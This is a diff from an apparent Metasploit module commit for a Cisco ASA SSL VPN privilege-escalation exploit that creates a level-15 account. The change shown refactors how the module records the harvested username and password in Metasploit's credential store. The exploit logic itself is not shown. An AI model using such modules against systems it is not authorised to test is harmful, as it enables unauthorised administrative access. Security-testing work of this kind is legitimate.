@@ -15,7 +15,7 @@ def initialize(info = {})
1515 'Name' => 'Cisco ASA SSL VPN Privilege Escalation Vulnerability' ,
1616 'Description' => %q{
1717 This module exploits a privilege escalation vulnerability for Cisco
18- ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
18+ ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
1919 level 15.
2020 } ,
2121 'Author' =>
@@ -236,24 +236,43 @@ def run_host(ip)
236236
237237 if creds
238238 print_good ( "#{ peer } - Successfully added level 15 account #{ creds . join ( ", " ) } " )
239-
240239 user , pass = creds
241-
242- report_hash = {
243- :host => rhost ,
244- :port => rport ,
245- :sname => 'Cisco ASA SSL VPN Privilege Escalation' ,
246- :user => user ,
247- :pass => pass ,
248- :active => true ,
249- :type => 'password'
250- }
251-
252- report_auth_info ( report_hash )
240+ report_escalated_creds ( user , pass )
253241 else
254242 vprint_error ( "#{ peer } - Failed to created user account on Cisco SSL VPN" )
255243 end
256244 end
257245 end
258246
247+ def report_escalated_creds ( username , password )
248+ status = Metasploit ::Model ::Login ::Status ::SUCCESSFUL
249+
250+ service_data = {
251+ address : rhost ,
252+ port : rport ,
253+ service_name : 'https' ,
254+ protocol : 'tcp' ,
255+ workspace_id : myworkspace_id
256+ }
257+
258+ credential_data = {
259+ origin_type : :service ,
260+ module_fullname : self . fullname ,
261+ private_type : :password ,
262+ private_data : password ,
263+ username : username
264+ }
265+
266+ credential_data . merge! ( service_data )
267+ credential_core = create_credential ( credential_data )
268+ login_data = {
269+ core : credential_core ,
270+ access_level : 'Level 15' ,
271+ status : status ,
272+ last_attempted_at : DateTime . now
273+ }
274+ login_data . merge! ( service_data )
275+ create_credential_login ( login_data )
276+ end
277+
259278end
0 commit comments